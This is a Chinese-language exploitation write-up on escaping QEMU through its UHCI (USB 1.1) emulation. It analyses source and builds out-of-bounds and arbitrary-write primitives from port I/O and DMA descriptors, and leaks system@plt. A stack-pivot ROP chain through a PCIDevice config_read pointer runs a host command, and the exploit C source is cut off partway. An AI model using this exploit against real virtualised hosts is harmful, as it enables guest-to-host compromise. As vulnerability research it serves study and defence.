本系列文章是笔者外一共写了四种利用方法,上一篇小编给大家介绍了前两种方法,今天为大家介绍后两种网上现未公开方法。
第三种思路
与前面最大的不同就是利用usb1
前置知识
配置和之前的一样,启动脚本。
./qemu-4.0.0/x86_64-softmmu/qemu-system-x86_64 -enable-kvm -append "console=ttyS0 root=/dev/sda rw" -m 1G -kernel ./linux/arch/x86/boot/bzImage -hda ./rootfs.img -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::33333-:22 -usb -device usb-tablet,bus=usb-bus.0 #这里 -device qxl-vga #利用上需要用到别的pci设备,这里根据大家需要,什么pci设备都行 -nographic
以上路径记得换成你的。
usb1和usb2不同之处还是挺多的,单拿最直观的一点来说,mmio不再适用,需要pmio,而究其原因:
usb1和usb2其实只是协议的叫法,usb1是UHCIusb2是EHCIusb3是XHCI。
如果对比一下就能发现其实之前做usb2的利用时也有这个设备:
我们无法像上次那样直接mmap一块空间给usb使得数据传输变得容易(mmio),这次需要用pmio来操作,简单来说区别就是,以前是这样:
void mmio_write(uint32_t addr, uint32_t value) { *((uint32_t*)(mmio_mem + addr)) = value; } uint32_t mmio_read(uint32_t addr) { return *((uint32_t*)(mmio_mem + addr)); }
而现在需要:
uint32_t pmio_write(uint32_t addr, uint32_t value) { outl(value, pmio_base + addr); } uint32_t pmio_read(uint32_t addr) { return (uint32_t)inl(pmio_base + addr); }
需要在这里找:
root@ubuntu:/# cat /sys/devices/pci0000:00/0000:00:01.2/resource 0x0000000000000000 0x0000000000000000 0x0000000000000000 #resource0(MMIO空间) 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x000000000000c040 0x000000000000c05f 0x0000000000040101 #resource1(PMIO空间) 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000
在起初想的是直接套用之前usb2的任意读写,因为pmio和mmio接口可以做到统一,但是事实并不让人如愿,单就调用链来说,两者就有挺大的区别,更绝的是usb1无法一次传输超过0x7ff的数据,这是在读源码,费大力过了三个判断分支之后才发现的,因为实在不甘心就这么放弃所以硬着头皮找解决方法做下去的,后面会讲解。
源码分析
那么来看看源码,找找利用点,其实是分析到达漏洞函数的调用链,从设备的注册开始。
static void uhci_class_init(ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); PCIDeviceClass *k = PCI_DEVICE_CLASS(klass); k->class_id = PCI_CLASS_SERIAL_USB; dc->vmsd = &vmstate_uhci; dc->reset = uhci_reset; set_bit(DEVICE_CATEGORY_USB, dc->categories); } ===================================================================== static const TypeInfo uhci_pci_type_info = { .name = TYPE_UHCI, //#define TYPE_UHCI "pci-uhci-usb" .parent = TYPE_PCI_DEVICE, .instance_size = sizeof(UHCIState), .class_size = sizeof(UHCIPCIDeviceClass), .abstract = true, .class_init = uhci_class_init, .interfaces = (InterfaceInfo[]) { { INTERFACE_CONVENTIONAL_PCI_DEVICE }, { }, }, }; ===================================================================== struct UHCIPCIDeviceClass { PCIDeviceClass parent_class; UHCIInfo info; }; ========================================================================== struct PCIDevice { DeviceState qdev; [ ... ] /* Cached device to fetch requester ID from, to avoid the PCI * tree walking every time we invoke PCI request (e.g., * MSI). For conventional PCI root complex, this field is * meaningless. */ PCIReqIDCache requester_id_cache; char name[64]; //这里 PCIIORegion io_regions[PCI_NUM_REGIONS]; AddressSpace bus_master_as; MemoryRegion bus_master_container_region; MemoryRegion bus_master_enable_region; /* do not access the following fields */ PCIConfigReadFunc *config_read; PCIConfigWriteFunc *config_write; /* Legacy PCI VGA regions */ MemoryRegion *vga_regions[QEMU_PCI_VGA_NUM_REGIONS]; bool has_vga; [ ... ] }; #define TYPE_UHCI "pci-uhci-usb"
还记得上面的两个利用手法的后一种。
利用任意读泄露 data_buf后面的内存数据,遍历查找“qxl-vga”字符串找到PCIDevice->name的地址,减去偏移得到PCIDevice结构体地址。
而这次应该也同样可以这么做。
这是上次的手法,大体思路可以照这个走,但是实际上还有很多坑点要一一解决,触发漏洞函数的地方在这:
static int uhci_handle_td(UHCIState *s, UHCIQueue *q, uint32_t qh_addr, UHCI_TD *td, uint32_t td_addr, uint32_t *int_mask) { int ret, max_len; bool spd; bool queuing = (q != NULL); uint8_t pid = td->token & 0xff; UHCIAsync *async; [ ... ] switch(pid) { case USB_TOKEN_OUT: case USB_TOKEN_SETUP: pci_dma_read(&s->dev, td->buffer, async->buf, max_len); usb_handle_packet(q->ep->dev, &async->packet); //<-----这里调用usb_handle_packet if (async->packet.status == USB_RET_SUCCESS) { async->packet.actual_length = max_len; } break; case USB_TOKEN_IN: usb_handle_packet(q->ep->dev, &async->packet); //<------这里调用usb_handle_packet break; default: abort(); /* Never to execute */ } [ ... ] } ========================================================== void usb_handle_packet(USBDevice *dev, USBPacket *p) { [ ... ] if (QTAILQ_EMPTY(&p->ep->queue) || p->ep->pipeline || p->stream) { usb_process_one(p); //<--------------------------这里 if (p->status == USB_RET_ASYNC) { /* hcd drivers cannot handle async for isoc */ assert(p->ep->type != USB_ENDPOINT_XFER_ISOC); /* using async for interrupt packets breaks migration */ assert(p->ep->type != USB_ENDPOINT_XFER_INT || (dev->flags & (1 << USB_DEV_FLAG_IS_HOST))); usb_packet_set_state(p, USB_PACKET_ASYNC); [ ... ] } } ==================================================== static void usb_process_one(USBPacket *p) { USBDevice *dev = p->ep->dev; [ ... ] switch (p->pid) { case USB_TOKEN_SETUP: do_token_setup(dev, p); //<--------------------------这里 break; case USB_TOKEN_IN: do_token_in(dev, p); //<--------------------------这里 break; case USB_TOKEN_OUT: do_token_out(dev, p); //<--------------------------这里,是不是很眼熟 break; default: p->status = USB_RET_STALL; } } else { /* data pipe */ usb_device_handle_data(dev, p); } }
看看在哪调用:
static void uhci_process_frame(UHCIState *s) { uint32_t frame_addr, link, old_td_ctrl, val, int_mask; uint32_t curr_qh, td_count = 0; int cnt, ret; UHCI_TD td; UHCI_QH qh; QhDb qhdb; [ ... ] old_td_ctrl = td.ctrl; ret = uhci_handle_td(s, NULL, curr_qh, &td, link, &int_mask); //<---这里调用uhci_handle_td if (old_td_ctrl != td.ctrl) { /* update the status bits of the TD */ val = cpu_to_le32(td.ctrl); pci_dma_write(&s->dev, (link & ~0xf) + 4, &val, sizeof(val)); } switch (ret) { case TD_RESULT_STOP_FRAME: /* interrupted frame */ goto out; case TD_RESULT_NEXT_QH: case TD_RESULT_ASYNC_CONT: trace_usb_uhci_td_nextqh(curr_qh & ~0xf, link & ~0xf); link = curr_qh ? qh.link : td.link; continue; [ ... ] out: s->pending_int_mask |= int_mask; } static void uhci_frame_timer(void *opaque) { UHCIState *s = opaque; uint64_t t_now, t_last_run; int i, frames; const uint64_t frame_t = NANOSECONDS_PER_SECOND / FRAME_TIMER_FREQ; [ ... ] for (i = 0; i < frames; i++) { s->frame_bytes = 0; trace_usb_uhci_frame_start(s->frnum); uhci_async_validate_begin(s); uhci_process_frame(s); //<---------------------------这里调用uhci_process_frame uhci_async_validate_end(s); [ ... ] } static void usb_uhci_common_realize(PCIDevice *dev, Error **errp) { Error *err = NULL; PCIDeviceClass *pc = PCI_DEVICE_GET_CLASS(dev); UHCIPCIDeviceClass *u = container_of(pc, UHCIPCIDeviceClass, parent_class); UHCIState *s = UHCI(dev); uint8_t *pci_conf = s->dev.config; int i; [ ... ] s->bh = qemu_bh_new(uhci_bh, s); s->frame_timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, uhci_frame_timer, s); //<-----这里 s->num_ports_vmstate = NB_PORTS; QTAILQ_INIT(&s->queues); memory_region_init_io(&s->io_bar, OBJECT(s), &uhci_ioport_ops, s, //注册读写函数 "uhci", 0x20); /* Use region 4 for consistency with real hardware. BSD guests seem to rely on this. */ pci_register_bar(&s->dev, 4, PCI_BASE_ADDRESS_SPACE_IO, &s->io_bar); } ================================================================================= static const MemoryRegionOps uhci_ioport_ops = { .read = uhci_port_read, //注册读写函数 .write = uhci_port_write, .valid.min_access_size = 1, .valid.max_access_size = 4, .impl.min_access_size = 2, .impl.max_access_size = 2, .endianness = DEVICE_LITTLE_ENDIAN, };
小编猜uhci_frame_timer是时钟性触发的函数,而其调用的uhci_process_frame也就当然是时钟性触发的,也就是定时触发。
下面是对uhci端口进行读写操作时触发的函数:
static void uhci_port_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) { UHCIState *s = opaque; trace_usb_uhci_mmio_writew(addr, val); switch(addr) { case 0x00: if ((val & UHCI_CMD_RS) && !(s->cmd & UHCI_CMD_RS)) { //之前是stop现在要run起来 /* start frame processing */ trace_usb_uhci_schedule_start(); s->expire_time = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + (NANOSECONDS_PER_SECOND / FRAME_TIMER_FREQ); timer_mod(s->frame_timer, s->expire_time); s->status &= ~UHCI_STS_HCHALTED; } else if (!(val & UHCI_CMD_RS)) { //stop s->status |= UHCI_STS_HCHALTED; } if (val & UHCI_CMD_GRESET) { UHCIPort *port; int i; /* send reset on the USB bus */ for(i = 0; i < NB_PORTS; i++) { port = &s->ports[i]; usb_device_reset(port->port.dev); } uhci_reset(DEVICE(s)); return; } if (val & UHCI_CMD_HCRESET) { uhci_reset(DEVICE(s)); return; } s->cmd = val; //写cmd if (val & UHCI_CMD_EGSM) { if ((s->ports[0].ctrl & UHCI_PORT_RD) || (s->ports[1].ctrl & UHCI_PORT_RD)) { uhci_resume(s); } } break; case 0x02: s->status &= ~val; /* XXX: the chip spec is not coherent, so we add a hidden register to distinguish between IOC and SPD */ if (val & UHCI_STS_USBINT) s->status2 = 0; uhci_update_irq(s); break; case 0x04: s->intr = val; uhci_update_irq(s); break; case 0x06: if (s->status & UHCI_STS_HCHALTED) s->frnum = val & 0x7ff; break; case 0x08: s->fl_base_addr &= 0xffff0000; s->fl_base_addr |= val & ~0xfff; break; case 0x0a: s->fl_base_addr &= 0x0000ffff; s->fl_base_addr |= (val << 16); break; case 0x0c: s->sof_timing = val & 0xff; break; case 0x10 ... 0x1f: { UHCIPort *port; USBDevice *dev; int n; n = (addr >> 1) & 7; if (n >= NB_PORTS) return; port = &s->ports[n]; dev = port->port.dev; if (dev && dev->attached) { /* port reset */ if ( (val & UHCI_PORT_RESET) && !(port->ctrl & UHCI_PORT_RESET) ) { usb_device_reset(dev); } } port->ctrl &= UHCI_PORT_READ_ONLY; /* enabled may only be set if a device is connected */ if (!(port->ctrl & UHCI_PORT_CCS)) { val &= ~UHCI_PORT_EN; } port->ctrl |= (val & ~UHCI_PORT_READ_ONLY); /* some bits are reset when a '1' is written to them */ port->ctrl &= ~(val & UHCI_PORT_WRITE_CLEAR); } break; } } =========================================================================== static uint64_t uhci_port_read(void *opaque, hwaddr addr, unsigned size) { UHCIState *s = opaque; uint32_t val; switch(addr) { case 0x00: val = s->cmd; break; case 0x02: val = s->status; break; case 0x04: val = s->intr; break; case 0x06: val = s->frnum; break; case 0x08: val = s->fl_base_addr & 0xffff; break; case 0x0a: val = (s->fl_base_addr >> 16) & 0xffff; break; case 0x0c: val = s->sof_timing; break; case 0x10 ... 0x1f: { UHCIPort *port; int n; n = (addr >> 1) & 7; if (n >= NB_PORTS) goto read_default; port = &s->ports[n]; val = port->ctrl; } break; default: read_default: val = 0xff7f; /* disabled port */ break; } trace_usb_uhci_mmio_readw(addr, val); return val; }
ok,那我们看到了base+addr后这个addr的值对应的操作了。
调用链
这个调用链是定时调用的,也就是刚才说的定时触发的函数导致的。
uhci_frame_timer-> uhci_process_frame-> uhci_handle_td-> usb_handle_packet-> usb_process_one-> 漏洞函数
直接把调试时的调用链贴上来:
► f 0 563392bbc6a5 uhci_port_write+23 ##这是注册的写函数的调用链 f 1 563392884c2d memory_region_write_accessor+233 f 2 563392884e3d access_with_adjusted_size+282 f 3 563392887e3e memory_region_dispatch_write+249 f 4 56339281d725 flatview_write_continue+180 f 5 56339281d86a flatview_write+136 f 6 56339281db6f address_space_write+92 f 7 56339281dbc1 address_space_rw+69 ► f 0 563392bbd2ed uhci_handle_td+31 ##这是漏洞函数的调用链 f 1 563392bbdd9b uhci_process_frame+670 f 2 563392bbe1b1 uhci_frame_timer+403 f 3 563392dc1e02 timerlist_run_timers+497 f 4 563392dc1eac qemu_clock_run_timers+41 f 5 563392dc229d qemu_clock_run_all_timers+45 f 6 563392dc2a39 main_loop_wait+236 f 7 5633929fda1b main_loop+16
还有在uhci_handle_td中有下面这个,其中pid是决定调用token或者out in的依据,所以要设置td->token。
uint8_t pid = td->token & 0xff;
qh和td是在uhci_process_frame中出现的,在uhci_handle_td中直接用td->token了,所以应该就是在uhci_process_frame中对td进行赋值的。
传输描述符(TD)和队列头(QH)。每个 TD表示表示与设备端点进行通信的一个包。QH是将一些TD(和QH)划分成组的一种方法。
#define UHCI_CMD_FGR (1 << 4) #define UHCI_CMD_EGSM (1 << 3) #define UHCI_CMD_GRESET (1 << 2) #define UHCI_CMD_HCRESET (1 << 1) #define UHCI_CMD_RS (1 << 0) //run /Stop 1为run 0为stop #define TD_CTRL_ACTIVE (1 << 23) //uhci_handle_td中需要td->ctrl为这个值不然过不去 #define UHCI_PORT_SUSPEND (1 << 12) #define UHCI_PORT_RESET (1 << 9) #define UHCI_PORT_LSDA (1 << 8) #define UHCI_PORT_RSVD1 (1 << 7) #define UHCI_PORT_RD (1 << 6) #define UHCI_PORT_ENC (1 << 3) #define UHCI_PORT_EN (1 << 2) //enable #define UHCI_PORT_CSC (1 << 1) #define UHCI_PORT_CCS (1 << 0) //connect status #define UHCI_PORT_READ_ONLY (0x1bb) #define UHCI_PORT_WRITE_CLEAR (UHCI_PORT_CSC | UHCI_PORT_ENC)
关键函数
分析漏洞函数调用链上的源码,代码不再全部贴出,可以在 这里 看,目前的任务是找出td->token 的赋值方式,然后才能操纵其去任意控制越界读写。
其实说td->token的赋值方式不正确,应该说是td的赋值方式,因为传进去的是td整个结构体,其token是构造好再直接传入的,贴上写过注释的源码。
static void uhci_process_frame(UHCIState *s) { uint32_t frame_addr, link, old_td_ctrl, val, int_mask; uint32_t curr_qh, td_count = 0; int cnt, ret; UHCI_TD td; UHCI_QH qh; QhDb qhdb; frame_addr = s->fl_base_addr + ((s->frnum & 0x3ff) << 2); //看到s->fl_base_addr下面用 //addr buf pci_dma_read(&s->dev, frame_addr, &link, 4); //给link赋值 le32_to_cpus(&link);//将link的数据格式改一下 int_mask = 0; curr_qh = 0; qhdb_reset(&qhdb); for (cnt = FRAME_MAX_LOOPS; is_valid(link) && cnt; cnt--) { if (!s->completions_only && s->frame_bytes >= s->frame_bandwidth) { /* We've reached the usb 1.1 bandwidth, which is 1280 bytes/frame, stop processing */ trace_usb_uhci_frame_stop_bandwidth(); break; } if (is_qh(link)) { //经调试,这块是直接跳过的,直接看下面的td部分 /* QH */ trace_usb_uhci_qh_load(link & ~0xf); if (qhdb_insert(&qhdb, link)) { /* * We're going in circles. Which is not a bug because * HCD is allowed to do that as part of the BW management. * * Stop processing here if no transaction has been done * since we've been here last time. */ if (td_count == 0) { trace_usb_uhci_frame_loop_stop_idle(); break; } else { trace_usb_uhci_frame_loop_continue(); td_count = 0; qhdb_reset(&qhdb); qhdb_insert(&qhdb, link); } } //addr buf pci_dma_read(&s->dev, link & ~0xf, &qh, sizeof(qh)); //将link给qh赋值 le32_to_cpus(&qh.link); //qh的两个成员改一下数据格式 le32_to_cpus(&qh.el_link); if (!is_valid(qh.el_link)) { /* QH w/o elements */ curr_qh = 0; link = qh.link; } else { /* QH with elements */ curr_qh = link; //也许到这里挺好 link = qh.el_link; } continue; } /* TD */ uhci_read_td(s, &td, link); //应该是将link赋值给td,为了保险小编还是把qh的link和el_link都设置成了td的地址 trace_usb_uhci_td_load(curr_qh & ~0xf, link & ~0xf, td.ctrl, td.token); old_td_ctrl = td.ctrl; ret = uhci_handle_td(s, NULL, curr_qh, &td, link, &int_mask); //td的token进去就直接用了 [ ... ]
所以exp直接这么写了:
void reset_enable_port(){ // pmio_write(0, UHCI_CMD_RS); pmio_write(0, 0 | UHCI_CMD_EGSM | UHCI_CMD_HCRESET); } //悬停和开始 void set_UHCIState(){ int i = 0x10; //#define NB_PORTS 2 for(;i<=0x1f;i++) pmio_write(i, UHCI_PORT_CCS | UHCI_PORT_RESET | UHCI_PORT_EN); pmio_write(6, 0); pmio_write(8, virt2phys(td)); // fl_base_addr 也许我们可以直接令其等于qh或td // printf("the addr of dmabuf:0x%lxn",virt2phys(dmabuf)); pmio_write(0, UHCI_CMD_RS); sleep(1); } void set_qh(){ qh->el_link = virt2phys(td); qh->link = virt2phys(td); // printf("the addr of td:0x%lxn",qh->link); } void init_state(){ //为了能走到漏洞函数那设置的条件 reset_enable_port(); //同上 set_qh(); //设置越界长度 setup_buf[6] = 0xff; setup_buf[7] = 0x0; //setup the index // setup_buf[4] = 0xffff & 0xff; // setup_buf[5] = (0xffff >> 8) & 0xff; /* 我们调用do_token_setup 设置s->setup_len 的长度为越界长度 需要进入do_token_setup 需要通过设置td->token值 */ td->link = virt2phys(td); td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_SETUP | 0x7 << 21 ; td->buffer = virt2phys(setup_buf); // printf("the addr of setup_buf:0x%lxn",td->buffer); puts("set_UHCIState"); set_UHCIState(); }
这其中有些设置是小编在调试中根据需要走的分支设置的,有一些着实费了九牛二虎之力,主要是那些宏大部分没写注释,命名风格又有点抽象,只能靠猜。
一些卡壳的地方
//in uhci_handle_td() ========================== /* Is active ? */ if (!(td->ctrl & TD_CTRL_ACTIVE)) { //《===============这里 if (async) { /* Guest marked a pending td non-active, cancel the queue */ uhci_queue_free(async->queue, "pending td non-active"); } /* * ehci11d spec page 22: "Even if the Active bit in the TD is already * cleared when the TD is fetched ... an IOC interrupt is generated" */ if (td->ctrl & TD_CTRL_IOC) { *int_mask |= 0x01; } return TD_RESULT_NEXT_QH; }
可以看到如果进了这个分支,那么无论如何也是出不去的,好巧不巧的调用漏洞函数的地方在这下面,也就是说我们必须绕过这个分支,所以要找到td->ctrl在哪能赋值。
然后看到了这个:
//in uhci_port_write() case 0x10 ... 0x1f: { UHCIPort *port; USBDevice *dev; int n; n = (addr >> 1) & 7; if (n >= NB_PORTS) //NB_PORTS为2 return; port = &s->ports[n]; dev = port->port.dev; if (dev && dev->attached) { /* port reset */ if ( (val & UHCI_PORT_RESET) && !(port->ctrl & UHCI_PORT_RESET) ) {//设置port->ctrl usb_device_reset(dev); } } port->ctrl &= UHCI_PORT_READ_ONLY; //设置port->ctrl /* enabled may only be set if a device is connected */ if (!(port->ctrl & UHCI_PORT_CCS)) { val &= ~UHCI_PORT_EN; } port->ctrl |= (val & ~UHCI_PORT_READ_ONLY); //设置port->ctrl /* some bits are reset when a '1' is written to them */ port->ctrl &= ~(val & UHCI_PORT_WRITE_CLEAR); } break; }
在uhci_port_read中不止这里,很多判断都是在这一函数中构造绕过的,具体操作就是设置val的值,让其在port->ctrl |= (val & ~UHCI_PORT_READ_ONLY); 这一步操作中将TD_CTRL_ACTIVE设置上,同样的还有UHCI_PORT_EN,这些都可以从exp看到,然后还有设置fl_base也是在这设置的,因为前面的给link赋值就是:
frame_addr = s->fl_base_addr + ((s->frnum & 0x3ff) << 2); //addr buf pci_dma_read(&s->dev, frame_addr, &link, 4); //给link赋值
在设置这些时候是处于悬停状态的,设置完再给case 0写UHCI_CMD_RS一次。
越界读写的构造
//in uhci_handle_td() /* Allocate new packet */ if (q == NULL) { USBDevice *dev; USBEndpoint *ep; dev = uhci_find_device(s, (td->token >> 8) & 0x7f); if (dev == NULL) { return uhci_handle_td_error(s, td, td_addr, USB_RET_NODEV, int_mask); } ep = usb_ep_get(dev, pid, (td->token >> 15) & 0xf); //得到的ep应该不为空 q = uhci_queue_new(s, qh_addr, td, ep); //上面得到的ep赋值给q } async = uhci_async_alloc(q, td_addr); //在这里得到async,用上面得到的q //maxlen在这里设置,和td->token有关系,后面在setup中也有检查 max_len = ((td->token >> 21) + 1) & 0x7ff; spd = (pid == USB_TOKEN_IN && (td->ctrl & TD_CTRL_SPD) != 0); usb_packet_setup(&async->packet, pid, q->ep, 0, td_addr, spd,//这里stream设置为0,后面的检查过不去 (td->ctrl & TD_CTRL_IOC) != 0); //设置packet if (max_len <= sizeof(async->static_buf)) { async->buf = async->static_buf; } else { async->buf = g_malloc(max_len); } usb_packet_addbuf(&async->packet, async->buf, max_len); //经这一步处理之后p->iov.size就设置好了,直接就是max_len的值,而max_len经上设置最大为0x7ff,且在USB_TOKEN_SETUP时p->iov.size必须为8 switch(pid) { case USB_TOKEN_OUT: case USB_TOKEN_SETUP: pci_dma_read(&s->dev, td->buffer, async->buf, max_len); usb_handle_packet(q->ep->dev, &async->packet); if (async->packet.status == USB_RET_SUCCESS) { async->packet.actual_length = max_len; } break; case USB_TOKEN_IN: usb_handle_packet(q->ep->dev, &async->packet); break;
看到以上设置了p->iov.size,然后我们再到漏洞函数里看这里起什么用,do_token_setup就不看了,就是这个值必须为8,看下do_token_in/do_token_out这俩差不多。
switch(s->setup_state) { [ ... ] case SETUP_STATE_DATA: if (s->setup_buf[0] & USB_DIR_IN) { int len = s->setup_len - s->setup_index; //得到这次读/写的长度,setup_len是上面设置的 if (len > p->iov.size) { //p->iov.size最大0x7ff所以len最大0x7ff,一次就这么多 len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { //读/写完成了状态改下 s->setup_state = SETUP_STATE_ACK; } return; } s->setup_state = SETUP_STATE_IDLE; p->status = USB_RET_STALL; break;
所以看到了,并不像usb2那样任意读写,不过天无绝人之路,看到s->index,可以通过操纵这来读/写,一次就算长度固定,但是我们可以越界啊,起初以为do_token_in前面的index = (s->setup_buf[5] << 8) | s->setup_buf[4];可以用来设置s->setup_index,后来发现不行,于是看到后面的s->setup_index += len;每次读写完后都会对index进行一次累加,但是有一点注意:
s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; }
设置的index不能大于setup_len,一旦超过就会认为是读写操作完成,不会再回来,这样还未进行越界读写就结束了,所以只需要设置一次很大的长度,然后多次读写,就能把index累加上去,然后就能越界,小编选择一次读写0x400,这样四次就到0x1000,就能刚好越界。
//越界读,调用do_token_in void do_copy_read(uint16_t len){ reset_enable_port(); set_qh(); //设置token进入do_token_in td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_IN | (len-1) << 21; //设置p->iov.size td->buffer = virt2phys(data_buf); set_UHCIState(); } //越界写,调用do_token_out void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index, uint16_t len){ reset_enable_port(); set_qh(); if(len > 8){ //这里是为越界写做准备 *(unsigned long *)(data_buf + offset) = 0x0000000200000002; // 覆盖成原先的内容 *(unsigned int *)(data_buf + 0x8 +offset) = setup_len; *(unsigned int *)(data_buf + 0xc+ offset) = setup_index; } td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_OUT | (len-1) << 21; td->buffer = virt2phys(data_buf); set_UHCIState(); }
有了以上的基础就能leak出system函数地址了,在最终exp里一起放出。
任意读写的构造
首先一件很不幸的事是我们这里几乎不可能实现任意读,因为任意读是通过越界写USBDevice 结构体中的setup_index以及setup_len后先把setup[0] 改为 USB_DIR_IN,也就是读,然后同时把index和len再改到目标地址处,这三者的跨度超过0x1000,所以无法同时写入,而要想分开写也不可能,因为需要把setup[0]改为读才能触发读操作,而改完后index和len就无法再通过越界写更改,也就是只能在setup[0]附近进行读。
/* definition of a USB device */ struct USBDevice { DeviceState qdev; USBPort *port; char *port_path; char *serial; void *opaque; uint32_t flags; /* Actual connected speed */ int speed; /* Supported speeds, not in info because it may be variable (hostdevs) */ int speedmask; uint8_t addr; char product_desc[32]; int auto_attach; bool attached; int32_t state; uint8_t setup_buf[8]; //这里 uint8_t data_buf[4096]; //上面说的读写是在这里,我们可以向上向下越界 int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; // int32_t setup_index; //这俩修改就能任意地址读写 USBEndpoint ep_ctl; //这里得到基址 USBEndpoint ep_in[USB_MAX_ENDPOINTS]; USBEndpoint ep_out[USB_MAX_ENDPOINTS]; QLIST_HEAD(, USBDescString) strings; const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */ const USBDescDevice *device; int configuration; int ninterfaces; int altsetting[USB_MAX_INTERFACES]; const USBDescConfig *config; const USBDescIface *ifaces[USB_MAX_INTERFACES]; };
不过还好我们可以进行任意写,因为越界写时不需要修改setup[0],一直保持写状态就行:
- 设置setup_len为一个比较大的值;
- 一次读0x400,读四次,这样index到达0x1000,就可以对setup_len和setup_index进行写入,写成下次写就可以直接写目标地址。
//任意写 void arb_write(uint64_t target_addr, uint64_t payload) { setup_state_data(); unsigned long offset = target_addr - data_buf_addr; set_length(0x1010, USB_DIR_OUT); puts("set index"); do_copy_write(0, offset+0x8, offset-0x1010, 0x400); //除了这个0x400其他参数都可以瞎填 do_copy_write(0, offset+0x8, offset-0x1010, 0x400); do_copy_write(0, offset+0x8, offset-0x1010, 0x400); do_copy_write(0, offset+0x8, offset-0x1010, 0x400); do_copy_write(0, offset+0x8, offset-0x10, 0x10); //写index和len *(unsigned long *)(data_buf) = payload; do_copy_write(0, 0xffff, 0, sizeof(payload)); //写入目标地址 }
利用手法
- 还是像usb2一样泄露ep_ctl->dev ,得到USBDevice地址,然后通过偏移就知道其余成员变量的地址了;
- 通过偏移得到USBDescDevice *device 然后根据其指向的地址的值距离QEMU加载地址的偏移,得到QEMU加载的基址,然后通过ida得到system@plt距离QEMU基址的偏移,得到system的地址;
- 不一样的是这次不能向上读,也就是读不到USBDevice结构体中在data_buf上面的变量,写倒是可以,所以无法像usb2那样利用,但可以利用别的pci设备。我们可以在usb1后面起一个pci设备,这样就会有一个PCIDevice的结构体,得到他的基址,更改其中的函数指针config_read为system;
- 调用函数指针指向的函数,完成利用。
struct PCIDevice { DeviceState qdev; /* PCI config space */ uint8_t *config; [ ... ] PCIReqIDCache requester_id_cache; char name[64]; PCIIORegion io_regions[PCI_NUM_REGIONS]; AddressSpace bus_master_as; MemoryRegion bus_master_container_region; MemoryRegion bus_master_enable_region; /* do not access the following fields */ PCIConfigReadFunc *config_read; //<=============函数指针 PCIConfigWriteFunc *config_write; /* Legacy PCI VGA regions */ MemoryRegion *vga_regions[QEMU_PCI_VGA_NUM_REGIONS]; bool has_vga; [ ... ] };
起初没有想再加一个pci设备,因为usb1本身就是,但是无奈的是在可读范围内找不到usb1的name,也就无法确定其基址,所以只能另加。
通过PCIDevice的那么变量确定PCIDevice的基址,然后更改其config_read函数指针指向的函数,同样的有个问题,也即在调用这一函数之前的其他操作中,有对这一结构体的成员访问的操作,而这一结构体作为调用config_read时的最后一个参数,也即覆盖为system后用得到的参数,我们已经将其覆盖为0x636c616378,也就是xcalc的ascii码,这地址明显是不可访问的,所以不出意外的崩溃了。
那就不能直接把config_read改为system,经usb2的经验,小编构造了另一个栈迁移的rop链,可以在保证不覆盖PCIDevice的前提下完成system(“xcalc”)。
那么栈迁移的gadget,本地环境并没有上面利用手法2中的xchg rax, rbp,只有对ebp的操作,因为64位下地址的位数,所以必须用rbp而不能ebp,所幸找到了push rax ; jp 0xc2cab1 ; jmp qword ptr [rax + 0x34] ,从利用手法2知道rax和rdi指向堆上的同一位置,所以把rax值push进栈后再jmp到rax+0x34处执行,这里还是堆上的空间,我们只要把rax+0x34处布置上pop rsp; pop rbp; ret; 就可以把rax放入rsp中,也即实现了栈迁移,至于为什么多pop个rbp,是因为迁移之后的rsp是PCIDevice结构体的基址,我们如果在这里填入rop链在访问结构体中的成员时还是会导致程序崩溃,可以将rop填入PCIDevice+8处,通过多pop一次,使得rsp+8,绕过PCIDevice。
new rsp(PCIDevice+8) ===> [0x00] : pop rax; ret; 将system的plt设为rax [0x08] : system@plt [0x10] : pop rdi; ret; 将"xcalc"赋值为rdi,作为调用system的参数 / -- [0x18] : rsp+0x50 | [0x20] : call rax; 调用rax,也就是system | [0x28] : |-> [0x50] : "xcalc"
exp
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> #include <stdint.h> #include <stdbool.h> struct UHCI_QH * qh; struct UHCI_TD * td; char *dmabuf; char *setup_buf; unsigned char *data_buf; unsigned char *data_buf_oob; uint32_t *entry; uint64_t dev_addr; uint64_t data_buf_addr; uint64_t USBPort_addr; #define UHCI_CMD_FGR (1 << 4) #define UHCI_CMD_EGSM (1 << 3) #define UHCI_CMD_GRESET (1 << 2) #define UHCI_CMD_HCRESET (1 << 1) #define UHCI_CMD_RS (1 << 0) //run /Stop #define UHCI_PORT_SUSPEND (1 << 12) #define UHCI_PORT_RESET (1 << 9) #define UHCI_PORT_LSDA (1 << 8) #define UHCI_PORT_RSVD1 (1 << 7) #define UHCI_PORT_RD (1 << 6) #define UHCI_PORT_ENC (1 << 3) #define UHCI_PORT_EN (1 << 2) //enable #define UHCI_PORT_CSC (1 << 1) #define UHCI_PORT_CCS (1 << 0) //connect status #define UHCI_PORT_READ_ONLY (0x1bb) #define UHCI_PORT_WRITE_CLEAR (UHCI_PORT_CSC | UHCI_PORT_ENC) #define TD_CTRL_ACTIVE (1 << 23) //uhci_handle_td中需要td->ctrl为这个值不然过不去 #define TD_CTRL_SPD (1 << 29) //we need this to allow we send more than two #define PORTSC_PRESET (1 << 8) // Port Reset #define PORTSC_PED (1 << 2) // Port Enable/Disable #define USBCMD_RUNSTOP (1 << 0) // run / Stop #define USBCMD_PSE (1 << 4) // Periodic Schedule Enable #define 